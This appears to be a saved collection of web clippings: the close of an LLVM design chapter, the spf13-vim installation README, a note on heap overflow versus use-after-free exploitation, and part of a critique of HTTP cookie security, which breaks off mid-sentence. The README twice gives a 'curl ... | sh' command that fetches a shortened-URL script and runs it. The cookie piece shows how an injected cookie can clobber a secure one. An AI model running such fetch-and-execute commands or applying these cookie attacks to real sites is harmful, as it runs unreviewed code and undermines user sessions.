test by writing .c files: front ends often do constant folding as they parse,
so it is very difficult and fragile to write code that makes its way
downstream to a constant folding optimization pass. Because we can load LLVM
IR as text and send it through the specific optimization pass we're interested
in, then dump out the result as another text file, it is really
straightforward to test exactly what we want, both for regression and feature
tests.

### 11.6.3. Automatic Test Case Reduction with BugPoint

When a bug is found in a compiler or other client of the LLVM libraries, the
first step to fixing it is to get a test case that reproduces the problem.
Once you have a test case, it is best to minimize it to the smallest example
that reproduces the problem, and also narrow it down to the part of LLVM where
the problem happens, such as the optimization pass at fault. While you
eventually learn how to do this, the process is tedious, manual, and
particularly painful for cases where the compiler generates incorrect code but
does not crash.

The LLVM BugPoint tool7 uses the IR serialization and modular design of LLVM
to automate this process. For example, given an input `.ll` or `.bc` file
along with a list of optimization passes that causes an optimizer crash,
BugPoint reduces the input to a small test case and determines which optimizer
is at fault. It then outputs the reduced test case and the `opt` command used
to reproduce the failure. It finds this by using techniques similar to "delta
debugging" to reduce the input and the optimizer pass list. Because it knows
the structure of LLVM IR, BugPoint does not waste time generating invalid IR
to input to the optimizer, unlike the standard "delta" command line tool.

In the more complex case of a miscompilation, you can specify the input, code
generator information, the command line to pass to the executable, and a
reference output. BugPoint will first determine if the problem is due to an
optimizer or a code generator, and will then repeatedly partition the test
case into two pieces: one that is sent into the "known good" component and one
that is sent into the "known buggy" component. By iteratively moving more and
more code out of the partition that is sent into the known buggy code
generator, it reduces the test case.

BugPoint is a very simple tool and has saved countless hours of test case
reduction throughout the life of LLVM. No other open source compiler has a
similarly powerful tool, because it relies on a well-defined intermediate
representation. That said, BugPoint isn't perfect, and would benefit from a
rewrite. It dates back to 2002, and is typically only improved when someone
has a really tricky bug to track down that the existing tool doesn't handle
well. It has grown over time, accreting new features \(such as JIT debugging\)
without a consistent design or owner.

## 11.7. Retrospective and Future Directions

LLVM's modularity wasn't originally designed to directly achieve any of the
goals described here. It was a self-defense mechanism: it was obvious that we
wouldn't get everything right on the first try. The modular pass pipeline, for
example, exists to make it easier to isolate passes so that they can be
discarded after being replaced by better implementations8.

Another major aspect of LLVM remaining nimble \(and a controversial topic with
clients of the libraries\) is our willingness to reconsider previous decisions
and make widespread changes to APIs without worrying about backwards
compatibility. Invasive changes to LLVM IR itself, for example, require
updating all of the optimization passes and cause substantial churn to the C++
APIs. We've done this on several occasions, and though it causes pain for
clients, it is the right thing to do to maintain rapid forward progress. To
make life easier for external clients \(and to support bindings for other
languages\), we provide C wrappers for many popular APIs \(which are intended
to be extremely stable\) and new versions of LLVM aim to continue reading old
`.ll` and `.bc` files.

Looking forward, we would like to continue making LLVM more modular and easier
to subset. For example, the code generator is still too monolithic: it isn't
currently possible to subset LLVM based on features. For example, if you'd
like to use the JIT, but have no need for inline assembly, exception handling,
or debug information generation, it should be possible to build the code
generator without linking in support for these features. We are also
continuously improving the quality of code generated by the optimizer and code
generator, adding IR features to better support new language and target
constructs, and adding better support for performing high-level language-
specific optimizations in LLVM.

The LLVM project continues to grow and improve in numerous ways. It is really
exciting to see the number of different ways that LLVM is being used in other
projects and how it keeps turning up in surprising new contexts that its
designers never even thought about. The new LLDB debugger is a great example
of this: it uses the C/C++/Objective-C parsers from Clang to parse
expressions, uses the LLVM JIT to translate these into target code, uses the
LLVM disassemblers, and uses LLVM targets to handle calling conventions among
other things. Being able to reuse this existing code allows people developing
debuggers to focus on writing the debugger logic, instead of reimplementing
yet another \(marginally correct\) C++ parser.

Despite its success so far, there is still a lot left to be done, as well as
the ever-present risk that LLVM will become less nimble and more calcified as
it ages. While there is no magic answer to this problem, I hope that the
continued exposure to new problem domains, a willingness to reevaluate
previous decisions, and to redesign and throw away code will help. After all,
the goal isn't to be perfect, it is to keep getting better over time.

# wishi/spf13-vim

**Created:**| _10/14/2012 4:06:29 PM_  
---|---  
**Updated:**| _10/14/2012 4:06:29 PM_  
**Author:**| __  
**Tags:**| _vim programming admin config_  
  

# spf13-vim : Steve Francia's Vim Distribution

[code]

                    __ _ _____              _
         ___ _ __  / _/ |___ /      __   __(_)_ __ ___
        / __| '_ \| |_| | |_ \ _____\ \ / /| | '_ ` _ \
        \__ \ |_) |  _| |___) |_____|\ V / | | | | | | |
        |___/ .__/|_| |_|____/        \_/  |_|_| |_| |_|
            |_|
    
[/code]

spf13-vim is a distribution of vim plugins and resources for Vim, Gvim and
MacVim.

It is a good starting point for anyone intending to use VIM for development
running equally well on Windows, Linux, \*nix and Mac.

The distribution is completely customisable using a `~/.vimrc.local` and
`~/.vimrc.bundles.local` Vim RC files.

<img src='img/Temp2_10738.png' alt='spf13-vim image' />

Unlike traditional VIM plugin structure, which similar to UNIX throws all
files into common directories, making updating or disabling plugins a real
mess, spf13-vim 3 uses the Vundle plugin management system to have a well
organized vim directory \(Similar to mac's app folders\). Vundle also ensures
that the latest versions of your plugins are installed and makes it easy to
keep them up to date.

Great care has been taken to ensure that each plugin plays nicely with others,
and optional configuration has been provided for what we believe is the most
efficient use.

Lastly \(and perhaps, most importantly\) It is completely cross platform. It
works well on Windows, Linux and OSX without any modifications or additional
configurations. If you are using MacVim or Gvim additional features are
enabled. So regardless of your environment just clone and run.

#  spf13-vim 3.0

January 2012 spf13-vim released it's third major iteration. **This is
important as it requires a reinstall** , but trust me it's worth it.

The biggest change is the switch from using git submodules to using the
excellent Vundle system. While git submodules seemed like a good idea at the
time, it wasn't. It was always problematic. Additionally because a submodule
points to a refspec and not a branch, it was a constant maintenance nightmare
to keep everything up to date.

Vundle has an excellent system built on the same principles as Pathogen, but
with an integrated plugin management system that is Git and Github aware.

We have also changed out most of the plugins in favor of newer more stable
alternatives. Additionally we have significantly reduced the number of plugins
requiring python or ruby.

The goal has always been to add functionality without changing all the
features, functionality and keystrokes we all love. Using spf13-vim we've kept
all the default behaviors \(by and large\), so if you ever find yourself on a
vanilla environment you'll feel right at home.

#  Installation

##  Linux, \*nix, Mac OSX Installation

The easiest way to install spf13-vim is to use our automatic installer by
simply copying and pasting the following line into a terminal. This will
install spf13-vim and backup your existing vim configuration. If you are
upgrading from a prior version \(before 3.0\) this is also the recommended
installation.

[code]

        curl http://j.mp/spf13-vim3 -L -o - | sh
    
    
[/code]

##  Installing on Windows

On Windows and \*nix Git and Curl are required.

###  Installing dependencies

####  Install msysgit

After installation try running `git --version` within _command prompt_ \(press
Win-R, type `cmd`, press Enter\) to make sure all good:

[code]

    C:\> git --version
    git version 1.7.4.msysgit.0
    
[/code]

####  Setup Curl

_Instructions blatently copied from vundle readme_ Installing Curl on Windows
is easy as Curl is bundled with msysgit\! But before it can be used with
Vundle it's required make `curl` run in _command prompt_. The easiest way is
to create `curl.cmd` with this content

[code]

    @rem Do not use "echo off" to not affect any child calls.
    @setlocal
    
    @rem Get the abolute path to the parent directory, which is assumed to be the
    @rem Git installation root.
    @for /F "delims=" %%I in ("%~dp0..") do @set git_install_root=%%~fI
    @set PATH=%git_install_root%\bin;%git_install_root%\mingw\bin;%PATH%
    
    @if not exist "%HOME%" @set HOME=%HOMEDRIVE%%HOMEPATH%
    @if not exist "%HOME%" @set HOME=%USERPROFILE%
    
    @curl.exe %*
    
[/code]

And copy it to `C:\Program Files\Git\cmd\curl.cmd`, assuming msysgit was
installed to `c:\Program Files\Git`

to verify all good, run:

[code]

    C:\> curl --version
    curl 7.21.1 (i686-pc-mingw32) libcurl/7.21.1 OpenSSL/0.9.8k zlib/1.2.3
    Protocols: dict file ftp ftps http https imap imaps ldap ldaps pop3 pop3s rtsp smtp smtps telnet tftp
    Features: Largefile NTLM SSL SSPI libz
    
[/code]

####  Installing spf13-vim on Windows

The easiest way is to download and run the spf13-vim-windows-install.cmd file.

##  Updating to the latest version

The simpliest \(and safest\) way to update is to simply rerun the installer.
It will completely and non destructively upgrade to the latest version.

[code]

        curl http://j.mp/spf13-vim3 -L -o - | sh
    
    
[/code]

Alternatively you can manually perform the following steps. If anything has
changed with the structure of the configuration you will need to create the
appropriate symlinks.

[code]

        cd $HOME/to/spf13-vim/
        git pull
        vim +BundleInstall! +BundleClean +q
    
[/code]

###  Fork me on GitHub

I'm always happy to take pull requests from others. A good number of people
are already contributors to spf13-vim. Go ahead and fork me.

#  A highly optimized .vimrc config file

<img src='img/Temp2_10737.png' alt='spf13-vimrc image' />

The .vimrc file is suited to programming. It is extremely well organized and
folds in sections. Each section is labeled and each option is commented.

It fixes many of the inconveniences of vanilla vim including

  * A single config can be used across Windows, Mac and linux
  * Eliminates swap and backup files from littering directories, preferring to store in a central location.
  * Fixes common typos like :W, :Q, etc
  * Setup a solid set of settings for Formatting \(change to meet your needs\) 
  * Setup the interface to take advantage of vim's features including 
    * omnicomplete
    * line numbers
    * syntax highlighting
    * A better ruler & status line
    * & more
  * Configuring included plugins

##  Customization

Create `~/.vimrc.local` and `~/.gvimrc.local` for any local customizations.

For example, to override the default color schemes:

[code]

        echo colorscheme ir_black  >> ~/.vimrc.local
    
[/code]

###  Fork Customization

There is an additional tier of customization available to those who want to
maintain a fork of spf13-vim specialized for a particular group. These users
can create `.vimrc.fork` and `.vimrc.bundles.fork` files in the root of their
fork. The load order for the configuration is:

  1. `.vimrc.bundles.local` \- local user bundle configuration
  2. `.vimrc.bundles.fork` \- fork bundle configuration
  3. `.vimrc.bundles` \- spf13-vim bundle configuration
  4. `.vimrc` \- spf13-vim vim configuration 
  5. `.vimrc.fork` \- fork vim configuration
  6. `.vimrc.local` \- local user configuration 

See `.vimrc.bundles` for specifics on what options can be set to override
bundle configuration. See `.vimrc` for specifics on what options can be
overridden. Most vim configuration options should be set in your `.vimrc.fork`
file, bundle configuration needs to be set in your `.vimrc.bundles.fork` file.

You may also want to update your `README.markdown` file so that the
`bootstrap.sh` link points to your repository and your `bootstrap.sh` file to
pull down your fork.

For an example of a fork of spf13-vim that provides customization in this
manner see taxilian's fork.

#  Plugins

spf13-vim contains a curated set of popular vim plugins, colors, snippets and
syntaxes. Great care has been made to ensure that these plugins play well
together and have optimal configuration.

##  Adding new plugins

Create `~/.vimrc.bundles.local` for any additional bundles.

To add a new bundle

[code]

        echo Bundle \'spf13/vim-colors\' >> ~/.vimrc.bundles.local
    
[/code]

Here are a few of the plugins:

##  NERDTree

NERDTree is a file explorer plugin that provides "project drawer"
functionality to your vim editing. You can learn more about it with :help
NERDTree.

**QuickStart** Launch using `<Leader>e`.

**Customizations** :

  * Use `<C-E>` to toggle NERDTree
  * Use `<leader>e` or `<leader>nt` to load NERDTreeFind which opens NERDTree where the current file is located.
  * Hide clutter \('.pyc', '.git', '.hg', '.svn', '.bzr'\)
  * Treat NERDTree more like a panel than a split.

##  ctrlp

Ctrlp replaces the Command-T plugin with a 100% viml plugin. It provides an
intuitive and fast mechanism to load files from the file system \(with regex
and fuzzy find\), from open buffers, and from recently used files.

**QuickStart** Launch using `<c-p>`.

##  Surround

This plugin is a tool for dealing with pairs of "surroundings." Examples of
surroundings include parentheses, quotes, and HTML tags. They are closely
related to what Vim refers to as text-objects. Provided are mappings to allow
for removing, changing, and adding surroundings.

Details follow on the exact semantics, but first, consider the following
examples. An asterisk \(\*\) is used to denote the cursor position.

[code]

      Old text                  Command     New text ~
      "Hello *world!"           ds"         Hello world!
      [123+4*56]/2              cs])        (123+456)/2
      "Look ma, I'm *HTML!"     cs"<q>      <q>Look ma, I'm HTML!</q>
      if *x>3 {                 ysW(        if ( x>3 ) {
      my $str = *whee!;         vlllls'     my $str = 'whee!';
    
[/code]

For instance, if the cursor was inside `"foo bar"`, you could type `cs"'` to
convert the text to `'foo bar'`.

There's a lot more, check it out at `:help surround`

##  NERDCommenter

NERDCommenter allows you to wrangle your code comments, regardless of
filetype. View `help :NERDCommenter` or checkout my post on NERDCommenter.

**QuickStart** Toggle comments using `<Leader>c<space>` in Visual or Normal
mode.

##  neocomplcache

NeoComplCache is an amazing autocomplete plugin with additional support for
snippets. It can complete simulatiously from the dictionary, buffer,
omnicomplete and snippets. This is the one true plugin that brings Vim
autocomplete on par with the best editors.

**QuickStart** Just start typing, it will autocomplete where possible

**Customizations** :

  * Automatically present the autocomplete menu
  * Support tab and enter for autocomplete
  * `<C-k>` for completing snippets.

<img src='img/Temp2_10736.png' alt='neocomplcache image' />

##  Syntastic

Syntastic is a syntax checking plugin that runs buffers through external
syntax checkers as they are saved and opened. If syntax errors are detected,
the user is notified and is happy because they didn't have to compile their
code or execute their script to find them.

##  Fugitive

Fugitive adds pervasive git support to git directories in vim. For more
information, use `:help fugitive`

Use `:Gstatus` to view `git status` and type `-` on any file to stage or
unstage it. Type `p` on a file to enter `git add -p` and stage specific hunks
in the file.

Use `:Gdiff` on an open file to see what changes have been made to that file

**QuickStart** `<leader>gs` to bring up git status

**Customizations** :

  * `<leader>gs` :Gstatus
  * `<leader>gd` :Gdiff
  * `<leader>gc` :Gcommit
  * `<leader>gb` :Gblame
  * `<leader>gl` :Glog
  * `<leader>gp` :Git push
  * :Git \_\_\_ will pass anything along to git.

<img src='img/Temp2_10734.png' alt='fugitive image' />

##  PIV

The most feature complete and up to date PHP Integration for Vim with proper
support for PHP 5.3+ including latest syntax, functions, better fold support,
etc.

PIV provides:

  * PHP 5.3 support
  * Auto generation of PHP Doc \(,pd on \(function, variable, class\) definition line\)
  * Autocomplete of classes, functions, variables, constants and language keywords
  * Better indenting
  * Full PHP documentation manual \(hit K on any function for full docs\)

<img src='img/Temp2_10735.png' alt='php vim itegration image' />

##  Ack.vim

Ack.vim uses ack to search inside the current directory for a pattern. You can
learn more about it with :help Ack

**QuickStart** :Ack

##  Tabularize

Tabularize lets you align statements on their equal signs and other characters

**Customizations** :

  * `<Leader>a=` :Tabularize /=
  * `<Leader>a:` :Tabularize /:
  * `<Leader>a::` :Tabularize /:\zs
  * `<Leader>a,` :Tabularize /,
  * `<Leader>a<Bar>` :Tabularize /

##  Tagbar

spf13-vim includes the Tagbar plugin. This plugin requires exuberant-ctags and
will automatically generate tags for your open files. It also provides a panel
to navigate easily via tags

**QuickStart** `CTRL-]` while the cursor is on a keyword \(such as a function
name\) to jump to it's definition.

**Customizations** : spf13-vim binds `<Leader>tt` to toggle the tagbar panel

<img src='img/Temp2_10739.png' alt='tagbar image' />

**Note** : For full language support, run `brew install ctags` to install
exuberant-ctags.

**Tip** : Check out `:help ctags` for information about VIM's built-in ctag
support. Tag navigation creates a stack which can traversed via `Ctrl-]` \(to
find the source of a token\) and `Ctrl-T` \(to jump back up one level\).

##  EasyMotion

EasyMotion provides an interactive way to use motions in Vim.

It quickly maps each possible jump destination to a key allowing very fast and
straightforward movement.

**QuickStart** EasyMotion is triggered using the normal movements, but
prefixing them with `<leader><leader>`

For example this screen shot demonstrates pressing `,,w`

<img src='img/Temp2_10740.png' alt='easymotion image' />

##  Additional Syntaxes

spf13-vim ships with a few additional syntaxes:

  * Markdown \(bound to \*.markdown, \*.md, and \*.mk\)
  * Twig
  * Git commits \(set your `EDITOR` to `mvim -f`\)

##  Amazing Colors

spf13-vim includes solarized and spf13 vim color pack:

  * ir\_black
  * molokai
  * peaksea

Use `:color molokai` to switch to a color scheme.

##  Snippets

It also contains a very complete set of snippets for use with snipmate or
NeoComplCache.

#  Intro to VIM

Here's some tips if you've never used VIM before:

##  Tutorials

  * Type `vimtutor` into a shell to go through a brief interactive tutorial inside VIM.
  * Read the slides at VIM: Walking Without Crutches.

##  Modes

  * VIM has two \(common\) modes: 
    * insert mode- stuff you type is added to the buffer
    * normal mode- keys you hit are interpreted as commands
  * To enter insert mode, hit `i`
  * To exit insert mode, hit `<ESC>`

##  Useful commands

  * Use `:q` to exit vim
  * Certain commands are prefixed with a `<Leader>` key, which by default maps to `\`. Spf13-vim uses `let mapleader = ","` to change this to `,` which is in a consistent and convenient location.
  * Keyboard cheat sheet.

# Imperva Web Application Attack Report

**Created:**| _8/7/2013 9:44:44 AM_  
---|---  
**Updated:**| _8/7/2013 9:45:43 AM_  
**Author:**| _wishi_  
**Tags:**| _web-app-sec attacks report_  
  
<img src='img/HII_Web_Application_Attack_Report_Ed4.pdf' width='100%'
height='21076' />

# The Grey Corner: The Difference Between Heap Overflow and Use After Free
Vulnerabilities

**Created:**| _4/10/2011 11:48:33 AM_  
---|---  
**Updated:**| _4/10/2011 11:56:29 AM_  
**Author:**| __  
**Tags:**| _Exploit Heap bughunting_  
  

## The Difference Between Heap Overflow and Use After Free Vulnerabilities  

A little while back I received a question from a blog reader asking about the
difference between heap overflows and use after free vulnerabilities, and I
thought it would make a good topic for a blog post, so here goes.  
  
Now, to answer this question I am first going to have to explain something
about memory management, so prepare yourself for reams of dry theory...  
  
There are two main types of data structures in a process that are used for
memory management, the stack and the heap. The stack is a LIFO \(last in first
out\) structure, that is used mainly for storage of local variables and data
related to function calls. It works very much like a stack of plates, in that
you can only add or remove entries from the top of the "stack". If you want to
remove the second "plate" on the stack, you need to remove the one above it
first. The stack is a very simple structure, and has its own registers and
instructions in the X86 processor and assembly language which are used to
manage access to it.  
  
The heap is a memory storage area used by a process to store global variables,
or variables too large to be stored on the stack. The heap does not have
dedicated registers or instructions in the X86 processr/assembly language, and
instead is managed by higher level functions, generally written in the C
programming language and included with an Operating System such as Microsoft
Windows, or GNU/Linux.  
  
From an exploitation perspective, these differences between the management
methods of the stack and the heap make it much more difficult to follow
changes to the heap in an assembly level debugger like OllyDbg when compared
to following changes to the stack, and it also makes heap based exploits more
difficult to develop than stack based exploits. However, this added level of
complexity involved in heap management also provides opportunities for
different types of exploitable vulnerabilities to occur. So in addition to
buffer overflows, which can occur both on the stack and the heap, the heap is
also subject to use after free vulnerabilities.  
  
Considering that the use after free vulnerabilities arises because of the
additional complexity introduced by the heap management process, we will need
to understand how the heap works and how it is managed to understand use after
free and heap overflow vulnerabilities, as well as how they differ. We will
use the heap management methodology of the Windows Operating System as an
example.  
  
In the Windows Operating System, each process has one or more heaps used to
store program data, a default process heap and a variable number of globally
accessible dynamic heaps that can be created via the HeapCreate\(\) function.
Each of these heaps can have arbitrary sized areas of memory allocated for use
by a variety of different calls such as malloc\(\), HeapAlloc\(\),
LocalAlloc\(\), GlobalAlloc\(\) or RtlAllocateHeap\(\).  
  
There also must be a way to free heap entries, so that the space in the heap
can be reused when no longer needed. Functions such as HeapFree\(\) and
HeapReAlloc\(\) are used to free or reallocate entries on the heap.  
  
A method is also need to keep track of the allocated space on the heap. This
is done by the use of a number of structures located at the beginning of the
heap, as well as headers located before each heap entry, that are used to
indicate where entries have been allocated within the heap. Both allocated
heap entries and free space within the heap have their own types of headers.
The various heap management functions mentioned above make use of these
structures when assigning and freeing space on the heap, and in a similar
vein, heap based exploits make use of these same heap management functions to
take control of the CPU by feeding them corrupted heap data.  
  
Specifically, _**heap overflows**_ work by overflowing areas of heap memory
and overwriting the headers of the next area in memory, which might contain
either another used heap entry or a free section of the heap \(both of which
will have a header as described earlier\). Then, when a heap management
operation \(such as allocating a new entry\) is made on the area of the heap
following the overwritten block, and the mangled header is accessed by the
header management function, an exception will occur which under the right
conditions can be exploited. As mentioned before, since exploitation of these
vulnerabilities involves manipulation of the heap management functions, its
important to be aware that if those functions change \(such as when safe
unlinking support was added in the heap management functions in Windows XP
SP2\), exploitation of some heap overflow vulnerabilities can become much more
difficult \(or perhaps impossible\).  
  
_**Use after free**_ exploits operate slightly differently from heap
overflows. They require that a heap entry be created \(e.g. using HeapAlloc\),
freed \(HeapFree\), **and then** used again **after** the free operation has
been performed. When these supposedly freed heap entries are "used", this can
result in an opportunity to take control of execution of the process.  
  
To see an example of a use after free exploit, you can check out this blog
entry. In the example, we allocated memory on the heap and assigned a pointer
\(Element1\), freed that heap entry \(by setting the parent SpanID object of
Element1 to a null value\), overwrote that freed entry \(via multiple calls to
the FOverwrite function\), and then accessed the original heap entry by
referencing its pointer \(var a = Element1.srcElement\). This enabled us to
take control of the process and execute arbitrary code.  
  
  
That's a high level overview of the differences between heap overflows and use
after free exploits. To learn more, you can check the list of references
below.  
  
The Shellcoders Handbook  
http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-
win-04-litchfield.ppt  
http://www.cybertech.net/~sh0ksh0k/heap/CSW04%20-%20Reliable%20Windows%20Heap%20Exploits.ppt  
http://www.symantec.com/connect/articles/new-way-bypass-windows-heap-
protections  
http://blogs.technet.com/srd/archive/2009/05/26/safe-unlinking-in-the-kernel-
pool.aspx  
http://blogs.technet.com/srd/archive/2009/08/04/preventing-the-exploitation-
of-user-mode-heap-corruption-vulnerabilities.aspx  
http://www.blackhat.com/presentations/bh-usa-09/MCDONALD/BHUSA09-McDonald-
WindowsHeap-PAPER.pdf  
http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Marinescu.pdf  
http://www.cybertech.net/~sh0ksh0k/heap/XPSP2%20Heap%20Exploitation.ppt  
http://cwe.mitre.org/data/definitions/416.html  
http://cwe.mitre.org/data/definitions/122.html

# lcamtuf's blog: HTTP cookies, or how not to design protocols

**Created:**| _11/6/2010 5:39:58 PM_  
---|---  
**Updated:**| _11/6/2010 5:39:58 PM_  
**Author:**| __  
**Tags:**| _web-app-sec web network-security_  
  

## October 28, 2010

### HTTP cookies, or how not to design protocols

For as long as I remember, HTTP cookies have been vilified as a grave threat
to the privacy of online browsing; wrongly so. That said, the mechanism itself
is a very interesting cautionary tale for security engineers - and that will
be the theme of today's feature.

Cookies were devised by Lou Montulli, a Netscape engineer, somewhere in 1994.
Lou outlined his original design in a minimalistic, four-page proposal posted
on netscape.com; based on that specification, the implementation shipped in
their browser several months later - and other vendors were quick to follow.

It wasn't until 1997 that the first reasonably detailed specification of the
mechanism has been attempted: RFC 2109. The document captured some of the
status quo - but confusingly, also tried to tweak the design, an effort that
proved to be completely unsuccessful; for example, contrary to what is implied
by this RFC, most browsers do not support multiple comma-delimited
`NAME=VALUE` pairs in a single `Set-Cookie` header; do not recognize `quoted-
string` cookie values; and do not use `max-age` to determine cookie lifetime.

Three years later, another, somewhat better structured effort to redesign
cookies - RFC 2965 \- proved to be equally futile. Meanwhile, browser vendors
tweaked or extended the scheme in their own ways: for example, around 2002,
Microsoft unilaterally proposed httponly cookies as a security mechanism to
slightly mitigate the impact of cross-site scripting flaws - a concept
quickly, if prematurely, embraced by the security community.

All these moves led to a very interesting situation: there is simply no
accurate, offcial account of cookie behavior in modern browsers; the two
relevant RFCs, often cited by people arguing on the Internet, are completely
out of touch with reality. This forces developers to discover compatible
behaviors by trial and error - and makes it an exciting gamble to build
security systems around cookies in the first place.

In any case - well-documented or not, cookies emerged as the canonical
solution to an increasingly pressing problem of session management; and as web
applications have grown more complex and more sensitive, the humble cookie
caught the world by storm. With it, came a flurry of fascinating security
flaws.

### They have Internet over there, too?

Perhaps the most striking issue - and an early sign of trouble - is the
problem of domain scoping.

Unlike the more pragmatic approach employed for JavaScript DOM access, cookies
can be set for any domain of which the setter is a member - say,
`foo.example.com` is meant to be able to set a cookie for `*.example.com`. On
the other hand, allowing `example1.com` to set cookies for `example2.com` is
clearly undesirable, as it allows a variety of sneaky attacks: denial of
service at best, and altering site preferences, modifying carts, or stealing
personal data at worst.

To that effect, the RFC provided this elegant but blissfully naive advice:

"Only hosts within the specified domain can set a cookie for a domain and
domains must have at least two \(2\) or three \(3\) periods in them to prevent
domains of the form: ".com", ".edu", and "va.us". Any domain that fails within
one of the seven special top level domains listed below only require two
periods. Any other domain requires at least three. The seven special top level
domains are: "COM", "EDU", "NET", "ORG", "GOV", "MIL", and "INT".

Regrettably, there are at least three glaring problems with this scheme - two
of which should have been obvious right away:

  1. Some country-level registrars indeed mirror the top-level hierarchy \(e.g. `example.co.uk`\), in which case the three-period rule makes sense; but many others allow direct registrations \(e.g., `example.fr`\), or permit both approaches to coexist \(say, `example.jp` and `example.co.jp`\). In the end, the three-period rule managed to break cookies in a significant number of ccTLDs - and consequently, most implementations \(Netscape included\) largely disregarded the advice. Yup, that's right - as a result, you could set cookies for `*.com.pl`. 
  2. The RFC missed the fact that websites are reachable by means other than their canonical DNS names; in particular, the rule permitted a website at `http://1.2.3.4/` to set cookies for `*.3.4`, or a website at `http://example.com.pl./` to set a cookie for `*.com.pl.`
  3. To add insult to injury, Internet Assigned Numbers Authority eventually decided to roll out a wide range of new top-level domains, such as `.biz`, `.info`, or `.jobs` \- and is now attempting to allow arbitrary gTLD registrations. This last step promises to be a yet another nail to the coffin of sane cookie management implementations.

Net effect? All mainstream browsers had a history of embarrassing bugs in this
area - and now ship with a giant, hairy, and frequently-updated lists of real-
world "public suffix" domains for which cookies should not be set - as well as
an array of checks to exclude non-FQDN, IPs, and pathological DNS notations of
all sorts.

### 8K ought to be enough for for anybody

To make denial-of-service attacks a bit harder, it is well-understood that
most web servers limit the size of a request they are willing to process;
these limits are very modest - for example, Apache rejects request headers
over 8 kB, while IIS draws the line at 16 kB. This is perfectly fine under
normal operating conditions - but can be easily exceeded when the browser is
attempting to construct a request with a lot of previously set cookies
attached.

The specification neglected this possibility, offered no warning to
implementators, and proposed no discovery and resolution algorithm. In fact,
it mandated minimal jar size requirements well in excess of the limits
enforced by HTTP servers:

"In general, user agents' cookie support should have no fixed limits. They
should strive to store as many frequently-used cookies as possible.
Furthermore, general-use user agents should provide each of the following
minimum capabilities \[...\]:

\* at least 300 cookies  
\* at least 4096 bytes per cookie \(as measured by the size of the characters
that comprise the cookie non-terminal in the syntax description of the Set-
Cookie header\)  
\* at least 20 cookies per unique host or domain name"

As should be apparent, the suggested minimum - 20 cookies of 4096 bytes each -
allows HTTP request headers to balloon up to the 80 kB boundary.

Does this matter from the security perspective? At first sight, no - but this
is only until you realize that there are quite a few popular sites that rely
on `user-name.example.com` content compartmentalization; and that any
malicious user can set top-level cookies to prevent the visitor from ever
being able to access any `*.example.com` site again.

The only recourse domain owners have in this case is to request their site to
be added to the aforementioned public suffix list; there are quite a few
entries along these lines there already, including `operaunite.com` or
`appspot.com` \- but this approach obviously does not scale particularly well.
The list is also not supported by all existing browsers, and not mandated in
any way for new implementations.

### "Oh, please. Nobody is actually going to depend on them."

In the RFC 2109 paragraph cited earlier, the specification pragmatically
acknowledged that implementations will be forced to limit cookie jar sizes -
and then, confusingly demanded that no fixed limits are put in place, yet
specified minimum limits that should be obeyed by implementators.

What proved to be missing is any advice on a robust jar pruning algorithm, or
even a brief discussion of the security considerations associated with this
process; any implementation that enforces the recommended minimums - 300
cookies globally, 20 cookies per unique host name - is clearly vulnerable to a
trivial denial-of-service attack: the attacker may use wildcard DNS entries
\(`a.example.com`, `b.example.com`, ...\), or even just a couple of throw-away
domains, to exhaust the global limit, and have all sensitive cookies purged -
kicking the user out of any web applications he is currently logged into.
Whoops.

It is worth noting that given proper warning, browser vendors would not find
it significantly more complicated to structure the limits differently, enforce
them on functional domain level, or implement pruning strategies other than
FIFO \(e.g., taking cookie use counters into account\). Convincing them to
make these changes now is more difficult.

While the ability to trash your cookie jar is perhaps not a big deal - or
rather, the ability for sites to behave disruptively is also poorly mitigated
on HTML or JavaScript level, making this a boring topic - the weakness has
special consequences in certain contexts; see next section for more.

### Be my very special cookie

Two special types of HTTP cookies are supported by all contemporary web
browsers: `secure`, sent only on HTTPS navigation \(protecting the cookie from
being leaked to or interfered by rogue proxies\); and `httponly`, exposed only
to HTTP servers, but not visible to JavaScript \(protecting the cookie against
cross-site scripting flaws\).

Although these ideas appear to be straightforward, the way they were specified
implicitly allowed a number of unintended possibilities - all of which,
predictably, plagued web browsers through the years. Consider the following
questions:

  * Should JavaScript be able to set `httponly` cookies via `document.cookie`? 
  * Should non-encrypted pages be able to set `secure` cookies? 
  * Should browsers hide jar-stored `httponly` cookies from APIs offered to plugins such as Flash or Java? 
  * Should browsers hide `httponly` `Set-Cookie` headers in server responses shared with `XMLHttpRequest`, Flash, or Java? 
  * Should it be possible to drop `httponly` or `secure` cookies by overflowing the "plain" cookie jar in the same domain, then replace them with vanilla lookalikes? 
  * Should it be possible to drop `httponly` or `secure` cookies by setting tons of `httponly` or `secure` in other domains?

All of this is formally permitted - and some of the aforementioned problems
are prevalent to this day, and likely will not be fixed any time soon.

At first sight, the list may appear inconsequential - but these weaknesses
have profound consequences for web application design in certain environments.
One striking example is rolling out HTTPS-only services that are intended to
withstand rogue, active attackers on open wireless networks: if `secure`
cookies can be injected on easy-to-intercept HTTP pages, it suddenly gets a
whole lot harder.

### If it tastes good, who cares where it comes from?

Cookies diverge from JavaScript same-origin model in two fairly important and
inexplicable ways:

  * `domain=` scoping is significantly more relaxed than SOP, paying no attention to protocol, port number, or exact host name. This undermines the SOP-derived security model in many compartmentalized applications that also use cookie authentication. The approach also makes it unclear how to handle `document.cookie` access from non-HTTP URLs - historically leading to quite a few fascinating browser bugs \(set `location.host` while on a `data:` page and profit\!\). 
  * `path=` scoping is considerably stricter than what's offered by SOP - and therefore, it is completely useless from the security standpoint. Web developers misled by this mechanism often mistakenly rely on it for security compartmentalization; heck, even reputable security consultants get it completely wrong.

On top of this somewhat odd scoping scheme, conflict resolution is essentially
ignored in the specification; every cookie is identified by a name-domain-path
tuple, allowing identically named but differently scoped cookies to coexist
and apply to the same request - but the standard fails to provide servers with
any metadata to assist in resolving such conflicts, and does not even mandate
any particular ordering of such cookies.

This omission adds another interesting twist to the `httponly` and `secure`
cookie cases; consider these two cookies:

[code]

    Set on https://www.example.com/:
      FOO=legitimate_value; secure; domain=www.example.com; path=/
    
    Set on http://www.example.com/:
      FOO=injected_over_http; domain=.example.com; path=/
    
[/code]

The two cookies are considered distinct, so any browser-level mechanisms that
limits attacker's ability to clobber `secure` cookies will not kick in.
Instead, the server will at best receive both `FOO` values in a single
`Cookie` header, their ordering dependent on the browser and essentially
unpredictable \(and at worst, the cookies will get clobbered - a problem in
Internet Explorer\). What next?

### Character set murder mystery

HTTP/1.0 RFC technically allowed high-bit characters in HTTP headers without
further qualification; HTTP/1.1 RFC later disallowed them. Neither of these
